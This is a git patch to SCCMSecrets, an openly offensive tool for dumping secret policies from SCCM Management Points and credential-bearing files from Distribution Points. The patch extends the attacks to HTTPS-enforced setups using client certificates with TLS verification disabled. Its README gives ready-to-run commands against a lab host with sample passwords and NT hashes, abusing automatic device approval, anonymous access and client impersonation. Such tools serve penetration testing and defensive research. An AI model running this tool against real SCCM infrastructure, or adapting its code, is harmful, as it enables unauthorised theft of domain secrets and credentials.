From 9220e0120b6198e57a47d34f1db29601c0692c7e Mon Sep 17 00:00:00 2001 From: user Date: Tue, 17 Dec 2024 15:23:33 +0100 Subject: [PATCH] Adding HTTPS and client certificate authentication capabilities for files dump + update README --- README.md | 113 +++++++++++++++++++++++++++++---------------- SCCMSecrets.py | 26 +++++++---- file_dumper.py | 26 +++++++---- policies_dumper.py | 2 +- 4 files changed, 109 insertions(+), 58 deletions(-) diff --git a/README.md b/README.md index e18bbaa..e2a5e32 100644 --- a/README.md +++ b/README.md @@ -19,25 +19,33 @@ Output will be placed in a subdirectory of the `loot` directory (format: `[times ``` $ python3 SCCMSecrets.py policies --help - - Usage: SCCMSecrets.py policies [OPTIONS] - - Dump secret policies from an SCCM Management Point - -╭─ Options ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ -│ * --management-point -mp TEXT The client's SCCM management point. Only necessary if the management point is not on the same machine as the distribution point [default: None] [required] │ -│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [default: None] [required] │ -│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval [default: None] │ -│ --machine-pass -p TEXT [Optional] The password for the machine account [default: None] │ -│ --machine-hash -H TEXT [Optional] The NT hash for the machine account [default: None] │ -│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to device collections (3 minutes by default, may need to be increased) │ -│ [default: 180] │ -│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it expects the path of a folder containing a guid.txt file (the SCCM device │ -│ GUID) and the key.pem file (the client's private key). Note that a client-name value must also be provided to SCCMSecrets (but does not have to match the one of the existing device) │ -│ [default: None] │ -│ --verbose -v [Optional] Enable verbose output │ -│ --help -h Show this message and exit. │ -╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ + + Usage: SCCMSecrets.py policies [OPTIONS] + + Dump secret policies from an SCCM Management Point + +╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ +│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [default: None] │ +│ [required] │ +│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [default: None] [required] │ +│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval [default: None] │ +│ --machine-pass -p TEXT [Optional] The password for the machine account [default: None] │ +│ --machine-hash -H TEXT [Optional] The NT hash for the machine account [default: None] │ +│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that │ +│ the new device can be added to device collections (3 minutes by default, may need to be increased) │ +│ [default: 180] │ +│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM │ +│ client. In both cases, it expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the │ +│ client's private key). Note that a client-name value must also be provided to SCCMSecrets (but does not have to match the one of the │ +│ existing device) │ +│ [default: None] │ +│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client │ +│ certificate authentication │ +│ [default: None] │ +│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format [default: None] │ +│ --verbose -v [Optional] Enable verbose output │ +│ --help -h Show this message and exit. │ +╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ ``` @@ -52,25 +60,38 @@ Output will be placed in a subdirectory of the `loot` directory (format: `[times ``` $ python3 SCCMSecrets.py files --help - - Usage: SCCMSecrets.py files [OPTIONS] - - Dump interesting files from an SCCM Distribution Point - -╭─ Options ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ -│ * --distribution-point -dp TEXT An SCCM distribution point [default: None] [required] │ -│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access [default: None] │ -│ --password -p TEXT [Optional] The password for the domain account [default: None] │ -│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) [default: None] │ -│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not download anything, and only index files │ -│ [default: .ps1, .bat, .xml, .txt, .pfx] │ -│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not want to download by extension, but rather specific known files │ -│ [default: None] │ -│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │ -│ --verbose -v [Optional] Enable verbose output │ -│ --help -h Show this message and exit. │ -╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ -``` + + Usage: SCCMSecrets.py files [OPTIONS] + + Dump interesting files from an SCCM Distribution Point + +╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ +│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [default: None] [required] │ +│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │ +│ [default: None] │ +│ --password -p TEXT [Optional] The password for the domain account [default: None] │ +│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) [default: None] │ +│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide │ +│ an empty string to not download anything, and only index files │ +│ [default: .ps1, .bat, .xml, .txt, .pfx] │ +│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you │ +│ already indexed files and do not want to download by extension, but rather specific known files │ +│ [default: None] │ +│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │ +│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client │ +│ certificate authentication │ +│ [default: None] │ +│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format [default: None] │ +│ --verbose -v [Optional] Enable verbose output │ +│ --help -h Show this message and exit. │ +╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ +``` + +## About HTTPS enforcement + +By default, clients can interact with their Management Point or Distribution Point using plain HTTP. The SCCM installation may however be configured more securely by enforcing the use of HTTPS. When this is the case (for either the Management Point, the Distribution Point, or both), SCCM will require client certificate authentication using an internal PKI certificate with the "client authentication" purpose. + +It is still possible to carry out the attacks presented above - however, a valid PKI certificate must be provided through the `--pki-cert` and `--pki-key` flags (PEM format). The Management Point / Distribution Point URLs should also be prefixed by `https://`. @@ -106,15 +127,20 @@ Retrieve secret policies of an already existing device. The `compromised_device` $ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/ ``` +Retrieve secret policies when the Management Point enforces HTTPS +``` +$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem +``` + ### Files -Retrieve Distribution point files without providing credentials. This will attempt to exploit anonymous DP access (non-default configuration) +Retrieve Distribution Point files without providing credentials. This will attempt to exploit anonymous DP access (non-default configuration) ``` $ python3 SCCMSecrets files -dp http://mecm.sccm.lab ``` -Retrieve Distribution point files with credentials. This will work in default SCCM configurations +Retrieve Distribution Point files with credentials. This will work in default SCCM configurations ``` $ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' ``` @@ -126,5 +152,10 @@ $ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FA Retrieve specific files from the Distribution Point by providing a list of URLs (1 by line) ``` -python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst +$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst +``` + +Retrieve DP files when the Distribution Point enforces HTTPS +``` +$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem ``` \ No newline at end of file diff --git a/SCCMSecrets.py b/SCCMSecrets.py index 27d6cb0..2d181c2 100644 --- a/SCCMSecrets.py +++ b/SCCMSecrets.py @@ -30,7 +30,7 @@ def print_banner(): @app.command(help="Dump secret policies from an SCCM Management Point") def policies( - management_point: Annotated[str, typer.Option("--management-point", "-mp", help="The client's SCCM management point.")], + management_point: Annotated[str, typer.Option("--management-point", "-mp", help="The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case)")], client_name: Annotated[str, typer.Option("--client-name", "-cn", help="[Optional] The name of the client that will be created in SCCM - or a random name if using an existing device")], machine_name: Annotated[str, typer.Option("--machine-name", "-u", help="[Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval")] = None, machine_pass: Annotated[str, typer.Option("--machine-pass", "-p", help="[Optional] The password for the machine account")] = None, @@ -148,13 +148,15 @@ def policies( @app.command(help="Dump interesting files from an SCCM Distribution Point") def files( - distribution_point: Annotated[str, typer.Option("--distribution-point", "-dp", help="An SCCM distribution point")], + distribution_point: Annotated[str, typer.Option("--distribution-point", "-dp", help="An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case)")], username: Annotated[str, typer.Option("--username", "-u", help="[Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access")] = None, password: Annotated[str, typer.Option("--password", "-p", help="[Optional] The password for the domain account")] = None, hash: Annotated[str, typer.Option("--hash", "-H", help="[Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)")] = None, extensions: Annotated[str, typer.Option("--extensions", "-e", help="[Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not download anything, and only index files")] = '.ps1, .bat, .xml, .txt, .pfx', urls: Annotated[str, typer.Option("--urls", "-f", help="[Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not want to download by extension, but rather specific known files")] = None, max_recursion: Annotated[int, typer.Option("--max-recursion", "-r", help="[Optional] The maximum recursion depth when indexing files from the Distribution Point")] = 10, + pki_cert: Annotated[str, typer.Option("--pki-cert", "-c", help="[Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication")] = None, + pki_key: Annotated[str, typer.Option("--pki-key", "-k", help="[Optional] The path to the private key of the certificate in PEM format")] = None, verbose: Annotated[bool, typer.Option("--verbose", "-v", help="[Optional] Enable verbose output")] = False ): print_banner() @@ -162,7 +164,7 @@ def files( else: logging.basicConfig(format='%(message)s', level=logging.INFO) # Arguments format and coherence checks - if not distribution_point.startswith('http://'): + if not distribution_point.startswith('http://') and not distribution_point.startswith('https://'): distribution_point = f'http://{distribution_point}' if distribution_point.endswith('/'): distribution_point = distribution_point[:-1] @@ -172,14 +174,20 @@ def files( if hash is not None and len(hash) != 32: logger.error(f"{bcolors.FAIL}[!] The provided NT hash does not have the expected format (e.g. A4F49C406510BDCAB6824EE7C30FD852){bcolors.ENDC}") return + if distribution_point.startswith('https://') and (pki_cert is None or pki_key is None): + logger.error(f"{bcolors.FAIL}[!] When using https, SCCM requires client certificate authentication. You have to provide a client certificate with the --pki-cert and --pki-key flags{bcolors.ENDC}") + return if password is None and hash is not None: password = '0' * 32 + ':' + hash extensions = [] if not extensions else [x.strip() for x in extensions.split(',')] extensions = list(filter(None, extensions)) - # Checking for Distribution Point anonymous access - anonymousDPConnectionEnabled = FileDumper.check_anonymous_DP_connection_enabled(distribution_point) - + # Checking for Distribution Point anonymous access in case we are using plain HTTP. In HTTPS, the option is not available + if not distribution_point.startswith('https://'): + anonymousDPConnectionEnabled = FileDumper.check_anonymous_DP_connection_enabled(distribution_point) + else: + anonymousDPConnectionEnabled = ANONYMOUSDP.DISABLED.value + # Output directory creation if not os.path.exists('loot'): os.makedirs('loot') @@ -196,7 +204,7 @@ def files( else: lines.append(f" - Anonymous Distribution Point access: {bcolors.FAIL}{bcolors.BOLD}[UNKNOWN]{bcolors.ENDC} Unexpected anonymous access check result{bcolors.ENDC}") lines.append(f" - Distribution point: {distribution_point}") - lines.append(f" - File extensions to retrieve: {extensions}") + lines.append(f" - File extensions to retrieve: {extensions if urls is None else 'N/A (url list provided)'}") lines.append(f" - Output directory: {bcolors.BOLD}./loot/{output_dir}{bcolors.ENDC}") split_lines = [line.split(':', 1) for line in lines] max_key_length = max(len(key.strip()) for key, value in split_lines) @@ -217,7 +225,9 @@ def files( urls, max_recursion, username, - password + password , + pki_cert, + pki_key ) try: diff --git a/file_dumper.py b/file_dumper.py index d00a707..3432996 100644 --- a/file_dumper.py +++ b/file_dumper.py @@ -11,7 +11,7 @@ from conf import bcolors, ANONYMOUSDP, DP_DOWNLOAD_HEADERS logger = logging.getLogger(__name__) - +requests.packages.urllib3.disable_warnings() class FileDumper(): @@ -22,7 +22,9 @@ def __init__(self, distribution_point, urls, recursion_depth, username, - password + password, + pki_cert, + pki_key ): self.distribution_point = distribution_point self.output_dir = output_dir @@ -32,12 +34,19 @@ def __init__(self, distribution_point, self.recursion_depth = recursion_depth self.username = username self.password = password + self.pki_cert = pki_cert + self.pki_key = pki_key + self.use_https = True if self.distribution_point.startswith('https://') else False self.package_ids = set() self.session = requests.Session() self.session.headers.update(DP_DOWNLOAD_HEADERS) if username is not None and password is not None: self.session.auth = HttpNtlmAuth(username, password) + if self.use_https: + logger.info("[INFO] HTTPS required. Using client certificate authentication") + self.session.cert = (pki_cert, pki_key) + self.session.verify = False @staticmethod @@ -87,16 +96,17 @@ def recursive_package_directory_fetch(self, object, directory, depth): soup = BeautifulSoup(r.content, 'html.parser') files = [] for href in soup.find_all('a'): + link_target = href.get('href').replace('http://', 'https://') if self.use_https is True else href.get('href') previous_sibling = href.find_previous_sibling(string=True) if previous_sibling and 'dir' in previous_sibling: if depth <= self.recursion_depth: - object[href.get('href')] = {} - self.recursive_package_directory_fetch(object[href.get('href')], href.get('href'), depth) + object[link_target] = {} + self.recursive_package_directory_fetch(object[link_target], link_target, depth) else: logger.info("[INFO] Reached recursion depth limit") - object[href.get('href')] = "Not entering this subdirectory - recursion depth limit reached" + object[link_target] = "Not entering this subdirectory - recursion depth limit reached" else: - files.append(href.get('href')) + files.append(link_target) for file in files: object[file] = None @@ -189,8 +199,8 @@ def dump_files(self): else: result = self.check_credentials_before_download() if result is not True: - logger.warning(f"{bcolors.FAIL}[-] It seems like provided credentials do not allow to successfully authenticate to distribution point.{bcolors.ENDC}") - logger.warning(f"{bcolors.FAIL}Potential explanations: HTTPS enforced on distribution point ; wrong credentials ; NTLM disabled.{bcolors.ENDC}") + logger.warning(f"{bcolors.FAIL}[-] It seems like provided credentials do not allow to successfully authenticate to the distribution point.{bcolors.ENDC}") + logger.warning(f"{bcolors.FAIL}Potential explanations: HTTPS enforced on distribution point and invalid/no client certificate supplied; wrong credentials.{bcolors.ENDC}") logger.warning(f"{bcolors.FAIL}Attempted username: '{self.username}' - attempted password/hash: '{self.password}{bcolors.ENDC}'") return if self.urls is None: diff --git a/policies_dumper.py b/policies_dumper.py index a41d88c..9456b18 100644 --- a/policies_dumper.py +++ b/policies_dumper.py @@ -74,7 +74,7 @@ def __init__(self, management_point, if machine_name is not None and machine_pass is not None and use_existing_device is None: self.session.auth = HttpNtlmAuth(machine_name, machine_pass) if self.use_https: - logger.info("[*] HTTPS required. Using client certificate authentication") + logger.info("[INFO] HTTPS required. Using client certificate authentication") self.session.cert = (pki_cert, pki_key) self.session.verify = False